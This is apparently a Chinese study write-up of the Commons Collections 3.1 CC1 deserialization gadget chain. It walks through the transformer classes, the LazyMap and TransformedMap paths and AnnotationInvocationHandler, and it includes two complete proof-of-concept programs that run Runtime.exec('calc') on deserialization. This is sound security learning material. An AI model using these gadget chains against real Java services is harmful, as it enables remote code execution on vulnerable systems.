前提知识点
动态代理
Proxy.newProxyInstance
方法用于创建动态代理对象。它接受三个参数:
- ClassLoader:指定用于加载代理类的类加载器。
- interfaces:指定代理类要实现的接口列表。
- invocationHandler:指定代理类的调用处理程序,用于处理代理类的方法调用。
1
| public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException
|
InvocationHandler也是一个接口需要写出invoke方法
1 2
| public Object invoke(Object proxy, Method method, Object[] args) throws Throwable;
|
当我们调用某个动态代理对象的方法时,都会触发代理类的invoke方法,并传递对应的内容。
已经学过反射了就不详写了环境要commons-collections : 3.1 TransformedMap - jdk < 8u71
AbstractMapDecorator
首先 CC 库中提供了一个抽象类 org.apache.commons.collections.map.AbstractMapDecorator
,这个类是 Map 的扩展,并且从名字中可以知道,这是一个基础的装饰器,用来给 map 提供附加功能,被装饰的 map 存在该类的属性中,并且将所有的操作都转发给这个 map。
这个类有很多实现类,各个类触发的方式不同,重点关注的是
它的子类 TransformedMap 以及 LazyMap。
org.apache.commons.collections.map.TransformedMap
类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 来定义,Transformer 在 TransformedMap 实例化时作为参数传入。也就是说当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put
方法时),就会触发相应参数的 Transformer 的 transform()
方法。
LazyMap
org.apache.commons.collections.map.LazyMap
与 TransformedMap 类似,不过差异是调用 get()
方法时如果传入的 key 不存在,则会触发相应参数的 Transformer 的 transform()
方法。
与 LazyMap 具有相同功能的,是 org.apache.commons.collections.map.DefaultedMap
,同样是 get()
方法会触发 transform 方法。
org.apache.commons.collections.Transformer
是一个接口,提供了一个 transform()
方法,用来定义具体的转换逻辑。方法接收 Object 类型的 input,处理后将 Object 返回。
在 Commons Collection 3.2.1 中,程序提供了 14 个 Transformer 的实现类,用来实现不同的对 TransformedMap 中 key/value 进行修改的功能。
重点关注其中几个实现类。
这个实现类从 Commons Collections 3.0 引入,功能是使用反射创建一个新对象,我们来看一下它的 transfrom 方法,方法注释写的很清楚,通过反射调用 input 的方法,并将方法返回结果作为处理结果进行返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } } }
|
分析为什么用了input (传进去对象) 的什么方法
1 2 3
| Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName,this.iParamTypes); return method.invoke(input, this.iArgs);
|
发现通过反射获取可以构造函数初始化的变量方法,(iMethodName)和对应的类型,(iParamTypes)
构造函数初始化的传入参数(iArgs)作为方法执行的参数
其transform方法将输入原封不动的返回:
1 2 3 4 5 6 7 8 9
|
public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; }
public Object transform(Object input) { return this.iConstant; }
|
不管传入的objec是什么都会返回本来的构造函数设置的对象
其transform方法实现了对每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去:
上一次返回的object作为下一个参数
1 2 3 4 5 6 7 8
| public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); }
return object; }
|
命令执行
1 2 3 4 5 6
| public static Runtime getRuntime() { return currentRuntime; }
private static Runtime currentRuntime = new Runtime();
|
由这三个transformer组合起来,即可实现任意命令执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*;
public class cc1 {
public static void main(String[] args){ ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})}); chain.transform(123); } }
|
分析:
1 2 3
| Object constantTransformer = new ConstantTransformer(Runtime.getRuntime()).transform(123); Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); invoketransformer.transform(constantTransformer);
|
看看简单代码搭配ChainedTransformer是这样的:
1 2 3 4 5 6 7 8
| public void test(){ ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
}); chain.transform(123); }
|
此时只要ChainedTransformer反序列化后调用transform方法并传递任意内容即可实现rce,但是当尝试去序列化的时候,发生了一个问题:
因为这里的Runtime.getRuntime()返回的是一个Runtime的实例,而Runtime并没有继承Serializable,所以这里会序列化失败。
那么我们就需要找到一个方法来获取到Runtime.getRuntime()返回的结果,并将其传入invoketransformer的transform方法中。这就有了上边那条链。
上面说了,其transform方法是将输入的Object原封不动的返回回去,那么我们是不是可以尝试这么搭配:
这里通过InvokerTransformer来实现了一次反射,即通过反射来反射,先是调用getMethod方法获取了getRuntime这个Method对象,接着又通过Invoke获取getRuntime的执行结果。
这里我一开始看Class[].class以及new Class[0]。这里尝试通过反射去调用getMethod方法,而getMethod的定义如下:
这里需要传入一个name也就是要调用的方法名,接着需要传递一个可变参数,所以这里的Class[].class,其实就是对应着这里的可变参数,即使我们不需要传递参数,也需要在这里加一个Class[].class,后边再加一个new Class[0]起到占位的作用。也可以用null
目前已经构造到只需要反序列化后调用transform方法,并传递任意内容即可rce。我们的目的是在调用readObject的时候就触发rce,也就是说我们现在需要找到一个点调用了transform方法(如果能找到在readObject后就调用那是最好的),如果找不到在readObject里调用transform方法,那么就需要找到一条链,在readObject触发起点,接着一步步调用到了transform方法。
利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| ObjectInputStream.readObject()-> AnnotationInvocationHandler.readObject() -> AnnotationInvocationHandler(Proxy).entrySet()-> AnnotationInvocationHandler.invoke()-> lazymap.get-> factory.transform(key)
ObjectInputStream.readObject()-> AnnotationInvocationHandler.readObject() ->
AbstractInputCheckedMapDecorator.MapEntry.setValue() -> TransformedMap.checkSetValue()-> valueTransformer.transform(value)->
|
利用链分析
Lazymap
Lazymap#get这个方法:
如果这里的this.factory可控,那么我们就可以通过LazyMap来延长我们的链,下一步就是找哪里调用了get方法了
1
| protected final Transformer factory;
|
这里的factory并没有被transient以及static关键字修饰,所以是我们可控的,并且由于factory是在类初始化时定义的,所以我们可以通过创建LazyMap实例的方式来设置他的值。并且这里需要初始化的map没有包含传入的键名 (后面说)
但是这里的构造方法并不是public的,所以可以通过反射的方式来获取到这个构造方法,再创建其实例。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); LazyMap map = (LazyMap)constructor.newInstance(innermap,chain); map.get(123); }
|
接着我们需要找到某个地方调用了get方法,并且传递了任意值。通过学习了上边动态代理的知识,我们可以开始分析cc1的前半段链了。
入口时AnnotationInvocationHandler的readObject:
首先调用 AnnotationType.getInstance(this.type)
(后面提到)
1 2
| private final Class<? extends Annotation> type; 自己简单想一下就知道如果要进入if(var7!=null)就知道了提这里干嘛了
|
来获取 type 这个注解类对应的 AnnotationType 的对象,然后获取其 memberTypes 属性,这个属性是个 Map,存放这个注解中可以配置的值。
1 2 3 4
| public Map<String, Class<?>> memberTypes() { return this.memberTypes; }
|
重点是这里Iterator var4 = this.memberValues.entrySet().iterator();
memberValues需要这里定义是map但是如果其具体实现类是 Java 运行时生成的动态代理类。通过代理对象调用自定义注解(接口)的方法,会最终调用 AnnotationInvocationHandler 的 invoke 方法。该方法会从 memberValues 这个 Map 中索引出对应的值。
简单来说
这里的readObject又调用了this.memberValues的entrySet方法。如果这里的memberValues是个代理类,那么就会调用memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)。不能理解就自己多调试吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { byte var7 = -1; switch(var4.hashCode()) { case -1776922004: if (var4.equals("toString")) { var7 = 0; } break; case 147696667: if (var4.equals("hashCode")) { var7 = 1; } break; case 1444986633: if (var4.equals("annotationType")) { var7 = 2; } }
switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4); ...
|
这里对this.memberValues调用了get方法,如果此时this.memberValues为我们的lazymap,那么就会触发LazyMap#get,从而完成触发rce。
完整POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})}); HashMap innermap = new HashMap();
Map map = LazyMap.decorate(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Target.class,proxy_map);
try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc1.txt")); outputStream.writeObject(handler); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc1.txt")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); }
} }
|
创建lazymap那里其实并不需要用到反射,因为lazymap自带了一个方法来帮助我们创建其实例:
所以把上述通过反射来创建LazyMap的实例代码改为如下,也是可以成功的后面那个同理:
1 2
| HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
|
当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put
方法时),就会触发相应参数的 Transformer 的 transform()
方法。应为check(改变的时候就要检查字面意思理解很合理吧)这里是利用setvalue改变值
让来看看这里的transform方法和构造方法
1 2 3 4 5 6 7 8 9 10
| protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
|
所以要触发的就是这个了
接着lazymap上面说到var3是一个注解类继续分析到
进入whie循环的作用其实是用this.memberValues
这个 Map ,获取其 Key,如果注解类的 memberTypes 属性中存在与 this.memberValues
的 key 相同的属性,并且取得的值不是 ExceptionProxy 的实例也不是 memberValues 中值的实例,则取得其值,并调用 setValue 方法写入值。要这个玩意就不能var7=null所以为什么双个地方一个haspmap可以为空,另一个不可以
而因为我们要利用改变值这里就是memberValues是transformedmap
1 2 3 4 5
|
Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6);
|
this.memberValues这里的值是TranformedMap的实例而实例初始化是(Hashmap,null ,tranformer),所以这里构造方法会super(map),让父类的方法都变成hashmap的 (看过头了但是有一点帮助吧)
this.memberValues.entrySet()跟进类TranformedMap的entrySet()方法,发现类没有,那就是继承了,跟进父类AbstractInputCheckedMapDecorator的方法
1 2 3
| public Set entrySet() { return (Set)(this.isSetValueChecking() ? new EntrySet(super.map.entrySet(), this) : super.map.entrySet()); }
|
查看isSetValueChecking()这个方法TranformedMap类重写了
1 2 3
| return this.valueTransformer != null; 因为我们设置了值所以返回true 如果为false,super.map.entrySet());说过了是hashmap的东西并不会把TranformedMa类的方法带进去所以触发不了tranform,自己可以更进一下,这就是this的重要性
|
跟进EntrySet类发现在
跟进AbstractInputCheckedMapDecorator 的EntrySet类,他的构造方法
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent)
所以不用管第一个传进去的参数因为肯定是set后面也没什么用
但是这里parent参数是this,所以这里parent是tranformap类
继续看
AbstractInputCheckedMapDecorator 的 EntrySet类的iterator() 方法,又创了一个实例所以这里var4出来了
1 2 3
| public Iterator iterator() { return new EntrySetIterator(super.collection.iterator(), this.parent); }
|
跟进实例EntrySetIterator类,找到反序列化用到的方法
1 2 3 4 5 6 7 8 9 10 11 12 13
| static class EntrySetIterator extends AbstractIteratorDecorator { private final AbstractInputCheckedMapDecorator parent;
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) { super(iterator); this.parent = parent; }
public Object next() { Map.Entry entry = (Map.Entry)super.iterator.next(); return new MapEntry(entry, this.parent); } }
|
hasnext()里面意思理解有没有下一个数据
发现next返回了一个类MapEntry
因为 Map.Entry var5 = (Map.Entry)var4.next();
所以var5是这个MapEntry实例
1 2 3 4 5 6 7 8 9 10 11 12 13
| static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; }
public Object setValue(Object value) { value = this.parent.checkSetValue(value); return super.entry.setValue(value); } }
|
1 2 3 4 5
| 可以继续分析了这里var6就是hashmap的键var7就是从var3我们传入那个泛型中得到这个键值的class Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6);
|
继续这里var7!=null了,
所以跟进var5里面的setvalue方法就是MapEntry类里面的
所以就触发了checkSetValue,
所以跟进checkSetValue,进入tranformermap类
1 2 3
| protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
|
这里就触发transform函数了
poc链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.*; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map;
public class Main{ public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException{ ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }); Map hashMap = new HashMap(); hashMap.put("value", 2);
Map transformedMap = TransformedMap.decorate(hashMap, null, chain); Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, transformedMap); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc1.txt")); outputStream.writeObject(handler); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc1.txt")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
|
总结
LazyMap利用动态代理来触发transformer
TransformedMap利用重新setvalue方法触发transformer
在Java 8u71以后,官⽅修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject⽅法。 改动后,不再直接使⽤反序列化得到的Map对象,⽽是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对 Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作,也就不会触发RCE了。